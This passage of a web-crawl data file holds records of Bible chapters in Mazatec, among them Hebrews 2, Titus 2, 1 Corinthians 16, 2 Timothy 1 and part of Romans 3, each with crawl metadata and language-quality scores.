tsikítsa'ba‑la̱ nga katatsjá'nde‑la̱ jñà xi̱ta̱ ra kiya nga katabá'ta‑la̱ tsja ni̱'sín tà ya̱ a̱tjòn nikje‑la̱. Ko̱ nga'tsì xi̱ta̱ ra tsaká'ta‑la̱ tsja ya̱ nikje‑la̱ Jesús, kjondaá‑ni.\nSan Mateo 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/14","date":"2013-12-07T18:23:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055516\/warc\/CC-MAIN-20131204131735-00041-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":846,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Koií kjoa̱‑la̱, mochjeén‑né nga nguì sa̱ ndaà si̱s'in‑lá 'én xi jye kina'yá, mé‑ne nga mì xìn ndi̱yá kjiaán koni s'ín tjín ndi̱yá‑la̱ Nainá. 2Jñà kjo̱tíxoma xi Nainá kitsjaà nga kisìkjeén àkja̱le̱ na̱chrjein xi jye tsato, tjín‑la̱ o̱kixi̱, ko̱ jñà xi̱ta̱ xi tsohótsji jé nga mìkiì kisìkitasòn kjo̱tíxoma xi kits'iì‑la̱, kjo̱'iín kitjoé‑la̱ koni s'ín ok'ìn‑la̱. 3Ko̱ jñá xi titsa̱jnaá na̱chrjein i̱'ndei̱, ìsa̱á 'ñó s'e̱‑ná kjo̱'in tsà mì kì si̱s'iaán 'én‑la̱ Cristo nga jè ko̱chrjekàjiìn‑ná kjo̱'in. Nga̱ jè sobá Na̱'èn‑ná kitsjaà ítjòn‑ná 'én koi. Ko̱ jñà xi i̱skan kiì'nchré 'én koi, ti̱koa̱á tsibéno̱jmí‑ná nga kixi̱ kjoa̱. 4Nainá, ti̱koa̱á kisìkixi̱ya 'én koi nga kjìn sko̱ya kjo̱xkón kis'iìn xi okó kjoa̱ jeya‑la̱ Nainá, ti̱koa̱ kisìka'bísòn kjo̱tjò ts'e̱ Ini̱ma̱ Tsjeè‑la̱; k'oa̱á s'ín kitsjaà koni s'ín mejèn‑la̱ jè. 5Nga̱ Nainá mìtsà jñà àkja̱le̱‑la̱ kitsjaà‑la̱ nga jñà ko̱tìxoma‑la̱ jè i̱sò'nde xi i̱skan kjoi̱í, jè xi titsa̱chibàya‑ná. 6Ta sa̱á tíchja̱á jngoò k'a Xo̱jo̱n‑la̱ Nainá ñánda nga tsò: Ji̱ Na̱'èn, ¿yá‑né xi xi̱ta̱? ¿A ok'ìn‑la̱ nga ji̱ nìkítsjeèn‑ne ko̱ makájno‑lè i̱t'aà ts'e̱? 7Ìsa̱á nangui kinìkíjni koni jñà àkja̱le̱, kits'iì‑la̱ kjoa̱ jeya ko̱ 'nga kinìkíjni nga tsatíxoma, 8ji̱í kits'iì‑la̱ nga'ñó nga ma ko̱tìxoma‑la̱ ngats'iì tsojmì xi tjín. Tsà Nainá kitsjaà‑la̱ nga'ñó nga jè ko̱tìxoma‑la̱ ngats'iì tsojmì xi tjín tsòyaá‑ne nga ni̱mé tsojmì tjín xi mì jè otíxoma‑la̱. Kixi̱í kjoa̱, na̱chrjein i̱'ndei̱, kj'eè kiì ndaà 'ya‑la̱ tsà jè tíhotíxoma‑la̱ ngats'iì tsojmì xi tjín. 9Ta̱nga 'ya‑ná nga jè Jesús, na̱s'ín nangui kinìkíjna chiba na̱chrjein koni jñà àkja̱le̱, ta̱nga i̱'ndei̱, jeyaá tíjna ko̱ 'ngaá tíjna nga tíhotíxoma, koií kjoa̱‑la̱ nga kjo̱'in kisìkjeiín k'e̱ nga k'en. Nainá, 'ñó matsjakeè‑ná nga kisìkasén Jesús nga jè kisìkjeiín kjo̱'in ts'e̱ kjoa̱biyaà xi kjo̱ndaà ts'e̱ ngats'iì xi̱ta̱. 10Jè Nainá, xi tsibíndaà yije ni̱ta̱ mé xi tjín, ndaá ok'ìn‑la̱ koni s'ín kis'iìn k'e̱ nga kisìkatojiìn kjo̱'in Ki'ndí‑la̱ mé‑ne nga i̱t'aà ts'e̱ kjo̱'in xi tsatojiìn‑ne, ni̱mé kjoa̱ xi kichijàt'aà‑la̱ nga ko̱ma ko̱chrjekàjiìn‑ná kjo̱'in kjoa̱ ts'e̱ jé‑ná ngats'iì xi i̱xti‑la̱ Nainá maá xi jè mejèn‑la̱ nga ya̱ ki̱tsa̱jnakoa̱á ñánda nga jeya tíjna jè. 11Jè xi tísítsjeè xi̱ta̱ xi tjín‑la̱ jé, ko̱ jñà xi̱ta̱ xi tjímatsjeè, ta̱jngoó Na̱'én ma. Koií kjoa̱‑la̱ jè Ki'ndí‑la̱ Nainá mìkiì masobà‑la̱ nga 'ndse̱ tsò‑la̱ xi̱ta̱ xi sítsjeè. 12Jè Xo̱jo̱n‑la̱ Nainá k'oa̱á s'ín tjít'aà nga tsò: Kèno̱jmí‑la̱ jñà xi̱ta̱ 'ndsè xi i̱t'aà tsi̱ji, seè‑lè ya̱ i̱jiìn‑la̱ xi̱ta̱ na̱xa̱ndá‑lè. 13Ti̱koa̱á tjít'aà ñánda tsò: Jé Nainá ma'ñót'aà takoàn. Ìjngoò k'a tjít'aà ñánda tsò: I̱í tìjna̱koa̱a i̱xti xi Nainá kitsjaà‑na. 14K'oa̱á s'ín tjín koni i̱xti‑la̱ xi̱ta̱, ta̱jngoò jní‑né ko̱ ta̱jngoò yijo‑né. Jesús, k'oa̱á ti̱s'ín jní ko̱ yijo kis'e‑la̱ mé‑ne nga i̱t'aà ts'e̱ kjoa̱ biyaà ma kisìkijne‑la̱ xi̱ta̱ nei̱í xi tjín‑la̱ nga'ñó nga ma‑la̱ sík'en xi̱ta̱. 15Jesús, k'oa̱á s'ín komàt'in mé‑ne nga komà kisìkítsa̱jnandei̱í ngats'iì xi̱ta̱ xi kitsakjòn‑la̱ kjoa̱ biyaà nga k'oa̱á s'ín títsa̱jna koni tsà tjít'aà'ñó‑la̱ kó tjín na̱chrjein bìtsa̱jnakon xi̱ta̱. 16Jesús, mìtsà koií xá j'iì‑ne nga jñà àkja̱le̱ si̱ìchját'aà‑la̱, jñà xi̱ta̱ tje̱‑la̱ Abraham si̱ìchját'aà‑la̱. 17K'oa̱á s'ín komà‑ne, jè Jesús tjínè‑la̱ nga ngásòn k'oa̱s'ín xi̱ta̱ komà koni 'ndse̱, mé‑ne nga no̱'miì ítjòn ko̱ma‑ne xi tjín‑la̱ kjo̱hi̱ma̱takòn xi ndaà síkitasòn xá‑la̱ Nainá nga ko̱ma ki̱ìchjítjì‑ne jé‑la̱ xi̱ta̱ i̱t'aà ts'e̱ kjoa̱ biyaà‑la̱. 18Koni s'ín kichìt'aà nga kits'iì‑la̱ kjo̱'in, jè, k'oa̱á ti̱s'ín ma‑la̱ osìko̱ jè xi̱ta̱ xi ko̱ kjo̱'in tíchìt'aà‑ne.\nHebreos 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/2","date":"2013-12-09T13:17:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163973624\/warc\/CC-MAIN-20131204133253-00050-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":517,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaji̱, Tito, k'oa̱á s'ín ti̱nókjoi̱i koni s'ín ok'ìn‑la̱ 'én ndaà xi jñá okoòyaá 2nga jñà xi̱ta̱ jchínga ts'e̱ na̱xa̱ndá‑la̱ Nainá, indaàkjoa̱ kàtas'ín; ndaà kàtayaxkón; ndaà kjo̱hítsjeèn kàtas'e‑la̱; ndaà kàtìtsa̱jnako̱ kjoa̱ xi mokjeiín‑la̱, ko̱ kjoa̱tjòcha‑la̱ ko̱ kjoa̱tsejta‑la̱ mé‑ne nga ki̱chìkjoa̱ko̱‑la̱ kjo̱'in. 3Jñà íchjín jchínga, k'oa̱s'ín kàtasíjchá yijo‑la̱ koni xi̱ta̱‑la̱ Nainá. Kì xi̱ta̱ chja̱jno‑la̱. Kì xán báhijtako̱. Koií kàtakóya kjoa̱ xi ndaà tjín. 4K'oa̱á s'ín kàtakóya‑la̱ íchjín i̱xti nga tjòkeè kàtas'ín íchjá‑la̱, ti̱koa̱ tjòkeè kàtas'ín i̱xti‑la̱. 5K'oa̱á s'ín ndaà kàtakóya nga ndaà kàtasíjchá yijo‑la̱; tsjeè kàtìtsa̱jnako̱ yijo‑la̱; ndaà kàtasíkinda̱ ni'ya‑la̱; ndaà xi̱ta̱ kàtama; kàta'nchréñijon‑la̱ íchjá‑la̱, mé‑ne nga mì yá xi ki̱chja̱jno‑la̱ 'én‑la̱ Nainá. 6K'oa̱ ti̱s'ín tìnè‑la̱ jñà íchjá xi i̱xti‑ìsa nga ndaà kàtasíjchá yijo‑la̱. 7Ni̱ta̱ mé kjoa̱ xi tjín, ji̱ ti̱jna ítjoìn nga ndaà t'i̱in. K'e̱ nga ko̱kóya‑la̱ xi̱ta̱, kixi̱ ti̱kíjni kjo̱hítsjeèn‑lè; 'én kixi̱ ti̱nókjoi̱i; 8ndaà tsò 'én xi ti̱nókjoi̱i xi mì yá ko̱chrjekàngui mé‑ne k'e̱ nga kji̱'nchré‑la̱ jñà xi xi̱ta̱ kondra̱, ko̱sobà‑la̱; ni̱mé sa̱kòt'aà‑la̱ xi ch'o ki̱tso̱‑ná. 9Koa̱tìn‑la̱ jñà xi̱ta̱ xi chi̱'nda títsa̱jna'ñó, ndaà kàtasíkitasòn yije‑la̱ nei‑la̱, ndaà kàtasís'in‑la̱ mé‑ne nga tsja s'e̱‑la̱, kì kjinguì'a‑jèn; 10kì síchijét'aà‑la̱ nei‑la̱. Tà sa̱á ndaà kàtas'ín nga kàta'ya‑la̱ nga xi̱ta̱ kixi̱. K'oa̱á s'ín skoe̱‑ne xi̱ta̱ xi kj'ei̱í nga ndaà tjín kjo̱tíxoma‑la̱ Nainá xi ochrjekàjiìn‑ná kjo̱'in. 11Nainá jyeé tsakó kjo̱ndaà‑la̱ nga ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde ko̱ma ki̱tjokàjiìn kjo̱'in. 12Jè kjo̱ndaà‑la̱ Nainá k'oa̱á s'ín okóya‑ná nga mì ti̱ kiì k'oa̱ s'e̱n‑ná nga mì ndaà yaxkoán Nainá ti̱koa̱ mì ti̱ kiì k'oa̱ s'e̱n‑ná kjoa̱ch'o xi síjé yijo‑ná xi ts'e̱ i̱sò'nde. K'e̱ nga jye si̱kítsa̱jnaá kjoa̱ koi, indaàkjoa̱ si̱kíjnaá kjo̱hítsjeèn‑ná, xi̱ta̱ kixi̱ ko̱maá, ti̱koa̱ ndaà jcha̱xkoán Nainá na̱chrjein xi titsa̱jnaá i̱'ndei̱. 13K'oa̱á s'ín s'e̱én kjoa̱ koi nga titsa̱chiñá‑lá kjo̱ndaà xi 'ñó ndaà tjín nga jcha̱á kjoa̱jeya‑la̱ Jesucristo k'e̱ nga kjoi̱í ìjngoò k'a. Jesucristo xi Nainá nga 'ñó 'nga tíjna nga jè xi ochrjekàjiìn‑ná kjo̱'in. 14Jè Na̱'èn‑ná Jesucristo kitsjaà yijo‑la̱ nga k'en ngajo‑ná. Jè tsibíchjítjì‑ná mé‑ne ko̱ma ki̱tjokàjñaá ngats'iì kjoa̱ ts'e̱ jé ti̱koa̱ jngoò k'a si̱ìtsjeè‑ná nga nguì xi̱ta̱ na̱xa̱ndá ts'e̱ ko̱maá. Ko̱ nguì tíjngoò takoán nga si̱kitasoán ni̱ta̱ mé kjoa̱ xi ndaà tjín. 15K'oa̱á s'ín ta̱kóyi ti̱koa̱ tìt'in‑la̱ xi̱ta̱. 'Ñó ti̱nókjoa̱koi̱i koni s'ín tjí'nde‑lè nga ko̱ti̱xomai. Kì yá xi ochrjekàngui‑lè.\nTito 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Titus\/2","date":"2013-12-11T01:48:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029048\/warc\/CC-MAIN-20131204133349-00050-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":355,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.293,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè to̱n xi maxkót'aà‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, k'oa̱s'ín t'e̱en koni s'ín kixan‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Nainá ján nangui Galacia. 2Jñò, nga jngoò ìjngoò, nga jiìn jiìn na̱chrjein k'e̱ nga tahàngo̱, titjò chiba to̱n‑nò koni s'ín machikon‑t'ioòn, mé‑ne nga mì k'e̱ kíxkó‑nò k'e̱ nga 'a̱n xi kìjchoa. 3K'e̱ nga kìjchokon‑nò ya̱ Corinto, sìkasén ján Jerusalén xi̱ta̱ xi jñò chjaàjñoò. Tsjaà‑la̱ xo̱jo̱n carta nga kji̱ko̱ jè to̱n xi maxkót'aà‑nò. 4Tsà mochjeén nga ti̱koa̱ 'a̱n kjián, ko̱maá kji̱ko̱‑na jñà xi̱ta̱ koi. 5Mejèn kjíkon‑nò k'e̱ nga jye kjoáha̱toaa̱ ján nangui Macedonia, nga k'oa̱á s'ín tjíndaà‑na nga ya̱ kjoáha̱toaa̱ mé‑ne nga i̱kjoàn kìjcho‑na Corinto. 6Tsà ko̱ma ya̱ kóti̱jnako̱ chiba na̱chrjein‑nò, ko̱ tsà koií na̱chrjein‑la̱ nga ya̱ kóti̱jnako̱‑nò skanda k'e̱ nga kjoe̱het'aà na̱chrjein‑la̱ cho̱n 'nchán, mé‑ne jñò ko̱ma si̱chját'aà‑ná k'e̱ nga tsà ñánda kjián nga ko̱ma i̱skan. 7Majìn‑na nga tà jngoò tjò skotsejèn‑nò; jè xi mejèn‑na̱ nga kjìn na̱chrjein kóti̱jnako̱‑nò, tsà Nainá mejèn‑la̱ nga tsjá'nde‑na. 8I̱í kóti̱jna na̱xa̱ndá Éfeso skanda na̱chrjein ts'e̱ s'eí Pentecostés, [jè s'eí xi bitjo k'e̱ nga jye bijchó icháte na̱chrjein nga bitjo s'eí Paxko̱]. 9Ndaà títjo'nde‑na nga tìs'iaàn xá‑la̱ Nainá xi 'ñó ndaà tíbitasòn, na̱s'ín 'ñó kjìn ma‑ne xi̱ta̱ xi kondra̱ títsa̱jna‑na. 10Tsà ki̱jchòkon‑nò jè Timoteo, chítsejèn‑là nga tsja kàtas'e‑la̱ nga kíjnako̱‑nò nga mì yijo‑la̱ ki̱nchaxkón‑la̱, nga ti̱koa̱ xá‑la̱ Nainá tís'ín koni 'a̱n. 11K'oa̱á ma‑ne, kì nachrjenguioò jñò, ta̱ sa̱á ti̱chját'aà‑là nga 'nchán kàtjanchrobákon‑na; 'a̱n, tíkoñaá‑la̱ ko̱ xi̱ta̱ 'ndseé xi i'nga. 12'A̱n 'ñó tsibìtsi'ba‑la̱ jè 'ndsè Apolos, nga katahijtako̱ jñà xi̱ta̱ 'ndseé xi tjínè nga kji̱kon‑nò, ta̱nga majìn‑la̱ nga fì; k'e̱é‑la kjoi̱ k'e̱ nga ko̱'a‑la̱. 13Ndaà titsa̱jnakon. 'Ñó kixi̱ titsa̱jnako̱o jè 'én xi mokjeiín‑nò. Kì yá xi tsakjoòn‑là, kàtas'e‑nò nga'ñó. 14Ngats'iì kjoa̱ xi 'nè, ko̱ó kjoa̱tjòcha‑nò k'oa̱ t'e̱en. 15Jñò ndí 'ndseé ko̱ tichjaá, jyeé tíjiìn‑nò nga jñà xi̱ta̱ ni'ya‑la̱ Estéfanas, jñà kòkjeiín ítjòn‑la̱ 'én‑la̱ Cristo ya̱ nangui Acaya. Jñà xi̱ta̱ koi, k'oa̱á s'ín bínè‑la̱ yijo‑la̱ nga jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo si̱ìchját'aà‑la̱. 16Ndí 'ndsè, bìtsi'bà‑nò nga ti̱ná'yañijon‑là xi̱ta̱ xi k'oa̱s'ín síxá koni jñà xi̱ta̱ koi, ko̱ ngats'iì xi̱ta̱ xi mìkiì bijta‑la̱ nga síxá‑la̱ Nainá. 17Matsja‑na nga j'iìkon‑na Estéfanas, Fortunato ko̱ Acaico [nga jñò kinìkasén], nga jñà j'iì síkitasòn xi jñò mìkiì komà kinìtasòn nga inchrobàchon‑ná. 18Jñà j'iì síje ikon‑na ko̱ tsa̱jòn. K'oa̱á ma‑ne jcha̱xkón jñà xi̱ta̱ xi k'oa̱s'ín s'ín koni jñà xi̱ta̱ koi. 19Jñà na̱xa̱ndá‑la̱ Cristo xi títsa̱jna nangui Asia síhixat'aà‑nò. Jè Aquila ko̱ Priscila ko̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi bixoña ya̱ ni'ya‑la̱, i̱t'aà ts'e̱ Na̱'èn‑ná ndaà síhixat'aà‑nò. 20Ngats'iì xi̱ta̱ 'ndseé, síhixat'aà‑nò. Jñò ti̱ixat'aà nga jngoò ìjngoò xi̱ta̱ xinguio̱o nga ko̱ ini̱ma̱‑nò. 21'A̱n, xi Pablo 'mì‑na̱, tisìhixat'aà‑nò nga ko̱ ndsa̱a tìkjiì‑nò xo̱jo̱n jè. 22Tsà tjín xi̱ta̱ xi mìkiì matsjakeè Jesucristo xi otíxoma‑ná, jè xi̱ta̱ nei̱í kàtjìko̱. Na̱'èn, ji̱ ni̱to̱n nchroboí. 23Jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná. 24Kjit'aà na̱chrjein kàtas'e‑nò kjoa̱tjòcha‑na̱ nga jè Cristo Jesús titsa̱jnakoa̱á. K'oa̱á s'ín kàtama.\n1 Corintios 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/16","date":"2013-12-12T04:29:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164452243\/warc\/CC-MAIN-20131204134052-00037-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":455,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n Pablo, tíbindá‑la̱ xa̱jo̱n ra̱kìi̱, 'a̱n ra ko̱'sín tsikíxáya‑na Jesucristo koni 'sín nga kjomejèn‑la̱ Nainá. 'Koa̱á 'sín kitsjà tsa'ba Nainá nga kíjnakoón inìma̱‑ná ra a̱'ta 'tse̱ Cristo Jesús. 2Ngaji̱ Timoteo ra 'ñó matsjake̱‑la koni tsa i'ndí‑na̱ xin‑la, Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑li kjo̱nda, katamahi̱ma̱ke‑li, kata'se‑la̱ kjo̱'nchán a̱jin inìma̱‑li. 3'Kia̱ nga bítsjen‑na ra a̱'ta tsa̱ji nga kji'tà ni̱chjin, ko̱ ni̱chjin ko̱ ni̱tje̱n chjà'tà‑la̱ Nainá nga tsja‑la̱ kjo̱nda, nga ngi tsjeé tjín kjo̱bítsjen‑na̱ nga bexkóo̱n koni 'sín kijtsexkón jñà xi̱ta̱ jchínga‑na̱. 4'Kia̱ nga bítsjen‑na kjoa̱ 'tse̱ ndáxkìn, sí mejèn‑na nga ska̱jieén mé‑ni nga ko̱tsja‑ila̱ inìma̱‑na̱. 5Bítsjeén‑na nga ngi ndaá makjiín‑li ra a̱'ta 'tse̱ Cristo koni 'sín kjokjiín ítjòn‑la̱ na̱hí'xtín‑li ra 'mì Loida ko̱ jè Eunice ra a̱má‑li ma. 'A̱n, 'koa̱á 'sín kixi̱ tjíjin‑na nga ti̱'koa̱á ngaji̱ nda makjiín‑li. 6Kií ko̱'sín tísíkítsjen‑la nga isa̱ nda ti̱chjiín kjo̱tjò ra kitsjà‑li Nainá nga nda ti̱xá‑la̱, jè kjo̱tjò ra itjábé‑li 'kia̱ nga 'a̱n tsakasón‑la ndsa̱. 7Nainá, mì tsa inìma̱ ra tsakjón kitsjá‑ná. Jé kitsjá‑ná Inìma̱ Tsje‑la̱ ra tsjá‑ná nga'ñó, tsjá‑ná kjo̱tsjacha, ti̱'koa̱ tsjá‑ná kjo̱bítsjen kó'sín 'sie̱én nga kixi̱ si̱jché ijo‑ná. 8Kií nga̱tjì‑ila̱, kì masabà‑li nga nakjoáki̱i xi̱ta̱ a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná. Ti̱'koa̱ kì masabà‑li ra a̱'ta tsa̱'a̱n nga nda̱yá tíjna'ya tà nga̱tjì‑la̱ nga ya̱ síxá'ta‑la̱ Na̱'ín‑ná. Ti̱kjiín‑ko̱‑ná kjo̱hi'in ra a̱'ta 'tse̱ 'én nda‑la̱ Cristo. Jé Nainá tsjá‑li nga'ñó ra ko̱chjeén‑li. 9Nainá, ijyeé tsachrjekàjin‑ná kjo̱hi'in. Kií xá kiìchja̱‑ná nga tsje si̱jché ijo‑ná. Mì tsa kií‑ni nga nda ki'nié. Ki‑ní nga ko̱'sín kjomejèn‑la̱ Nainá, ti̱'koa̱ kitsjá‑ná kjo̱nda‑la̱ ra a̱'ta 'tse̱ Cristo skanda ti̱'sa̱ tjà'tsin‑la̱ kjoa̱, 'kia̱ nga ti̱kje sinda i̱sà'nde. 10'Ndi̱ 'ndi̱, Nainá ijyeé tsakón kjo̱nda‑la̱ nga ijye 'ji Jesucristo ra bachrjekàjin‑ná kjo̱hi'in. Tsjahíxín‑ná nga'ñó‑la̱ kjo̱biya. Ra a̱'ta 'tse̱ 'én nda‑la̱ Cristo, tsakón‑ná kjo̱binachon ti̱'koa̱ tsakón‑ná nga mì tsa jngó kjá ki̱yé ni̱ta kjiá‑nioo̱. 11Nainá, 'a̱án isìnga̱tsja‑na xá ra̱kìi̱ nga 'a̱n kichjàya 'én nda‑la̱ Cristo. Tsikíxáya‑na a̱'ta 'tse̱ xá‑la̱ nga 'a̱n kokon‑yá‑la̱ jñà ra mì tsa xi̱ta̱ judío. 12Tà nga̱tjì‑la̱ 'én ra 'a̱n chjàya tseé kjo̱hi'in tísikjiáa̱n. Tanga mì kì masabà‑na. Ijyeé tjíjin‑na nga a̱'ta 'tse̱ Cristo makjiín‑na. Ti̱'koa̱á ndaá tjíjin‑na nga ta̱ jngoó jè Nainá tjín‑la̱ nga'ñó nga nda si̱ìkinda̱ jè xá ra 'a̱n isìnga̱tsja‑na skanda jè ni̱chjin 'kia̱ nga kj'i̱í india‑ni Jesucristo. 13Nda tijin‑takìn 'én nda ra 'a̱n tsakon‑yá‑la koni 'sín tjín 'én ra makjiín‑ná ko̱ kjo̱tsjacha ra tjín‑ná nga Cristo titsa̱jnake̱é. 14Nda ti̱hitjasìn xá ra nda tjín ra ji̱ kjonga̱tsji. Jé ko̱si̱ko̱‑li Inìma̱ Tsje‑la̱ Nainá ra tíjnajin inìma̱‑ná. 15Ijyeé tjíjin‑li, nga'tsì ra títsa̱jna ya̱ nangi Asia, ijyeé kitsjin‑tákon‑na, koni jè Figelo ko̱ Hermógenes. 16Nainá katahi̱ma̱ke xi̱ta̱ ra tjíhijyo ya̱ ni'ya‑la̱ Onesíforo. Kjìn 'ka̱ 'ji síje ikon‑na. Mì kì kjosabà‑la̱ ni̱'sín nda̱yá tíjna̱'ya. 17Tà isa̱á, 'kia̱ nga 'ji i̱ Roma 'ñó tsakátsji‑na skanda nga isakò‑la̱ ñánda̱ tíjna̱. 18Na̱'ín‑ná katahi̱ma̱ke jè Onesíforo 'kia̱ nga ki̱jchò ni̱chjin‑la̱ Nainá. Ngaji̱ ijyeé nda tjíjin‑li, ndaá tsasìko̱‑ná ya̱ Éfeso.\n2 Timoteo 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Tim\/1","date":"2013-12-05T22:52:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048447\/warc\/CC-MAIN-20131204131728-00045-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000067949295044}","num_words":467,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.266,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsa 'koa̱á 'sín tjín, ¿mé kjo̱nda ra isa̱ tse tjín‑la̱ jñà ra xi̱ta̱ judío 'mì? Ko̱ ¿mé chjí‑la̱ kjoa̱ 'tse̱ circuncisión nga si'ta chi̱ba̱ ijo‑la̱? 2'Ñó kjìn sko̱ya tjín‑ni kó'sín chjí‑la̱, tsa jién ra nda si̱kítsjeén. Jè ra tíjna ítjòn, jè‑ní nga jñà xi̱ta̱ judío kjonga̱tsja jè 'én‑la̱ Nainá. 3Tanga, tsa tjín i'ka jñà xi̱ta̱ judío ra mì kì kixi̱ i̱nchifìko̱ jè kjo̱hixi̱ ra kjonga̱tsja, ¿a jñà kjoa̱‑la̱ xi̱ta̱ kìi̱ ko̱techjà nga jè Nainá mì ti̱ kì kixi̱ i̱ko̱‑ni xi̱ta̱? 4Majìn, mì tsa ko̱'sín ko̱ma‑jìn. Ra jè Nainá, síhitjasòn ki'ta‑ní koni 'sín tjín kjo̱hixi̱‑la̱, ni̱'sín takó xi̱ta̱ ndiso jñà xi̱ta̱ i̱sà'nde; koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Jñá 'én ra ji̱ ki̱nákji̱i, xi̱ta̱ kixi̱ kata'sín‑li, mé‑ni nga ji̱ si̱kijni tsa 'kia̱ nga yá ra koa̱àngi‑li. 5Jñà kjoa̱ ra mì kì nda tjín ra 'nié ra jién, tsa nda síkatsíjen jè kjoa̱‑la̱ Nainá ra kixi̱ tjín, ¿kó'sín kixé? ¿A kixó‑ná nga mì kixi̱ tí'sín Nainá nga ko̱'sín ta̱ tse kjo̱hi'in títsjá‑ná? (Tsa ko̱'sín kixé, jngo kjo̱bítsjen‑la̱ ra taxki̱ xi̱ta̱ i̱nchinìchjeén.) 6Tanga majìn‑jìn, mì tsa ko̱'sín tjín‑jìn. Tsa kixi̱ kjoa̱ nga jè Nainá mì tsa kixi̱ 'sín nga kjo̱hi'in tsjá‑ná, ¿kó'sín ko̱ma‑ni nga ki̱ìndajín‑la̱ nga'tsì xi̱ta̱ i̱sà'nde? 7Tjín‑la i'ka ra ma ki̱tso̱: \"Tsa jñà 'én ndiso ra 'a̱n chjàa̱, jeya síkíjna‑ni Nainá nga bakón jè kjoa̱kixi̱ ra 'sín, ¿mé‑ni nga takó ko̱'sín tísinè‑na kjo̱hi'in koni tsa xi̱ta̱ jée̱ ra 'a̱n?\" 8¿A maá ko̱'sín kixé koni 'sín tsò 'én ra tsò?: \"Isa̱á‑la nda‑ni nga 'cho 'sia̱n iseé mé‑ni nga katasakó-isa‑ná ra kjo̱nda.\" Koni 'sín tsò i'ka ra xi̱ta̱ ndiso, nga 'koa̱á‑ró 'sín tsò 'én ra 'a̱n tíbakon‑yá. Xi̱ta̱ ra ko̱'sín tsò, 'ñó nda bakèn‑la̱ nga 'ki̱‑la̱ kjo̱hi'in. 9¿Kó'sín si̱kítsjeén? ¿Jién ra xi̱ta̱ judío 'mì‑ná, a isa̱á nda i̱nchi'nié koni jñà xi̱ta̱ ra i'ka? Majìn, ijyeé ko̱'sín kíxin‑no, nga ta ngásòn ngáyaá ya̱ kitsabá'ñó‑ná ra kjoa̱ 'tse̱ jé, jién ra xi̱ta̱ judío 'mì‑ná, ko̱ jñà ra taxki̱ xi̱ta̱. 10Koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Tsìn jngo ra xi̱ta̱ kixi̱, ni̱jngo tíjna. 11Ni̱yá tjín xi̱ta̱ ra machi̱ya‑la̱, ni̱yá tjín ra ma‑la̱ bátsji Nainá. 12Nga'tsì xi̱ta̱ sabà kj'ií ndi̱yá iskábé; ta jngoó ndi̱yá kijì, nga ni̱mé chjí‑la̱ kjoa̱ ra 'sín; ni̱yá tjín ra ma‑la̱ nda 'sín, ni̱jngo tíjna. 13Na̱xíjta̱‑la̱ xi̱ta̱ kìi̱, 'koa̱á 'sín 'cho kjòn koni 'sín kjòn jngo nga̱jo̱‑la̱ mi'ken 'kia̱ nga tjá'xa̱jto; ngi ta 'én ndisoó chja̱ ni̱je̱n‑la̱; jñà 'én ra tjí'a tsa'ba, 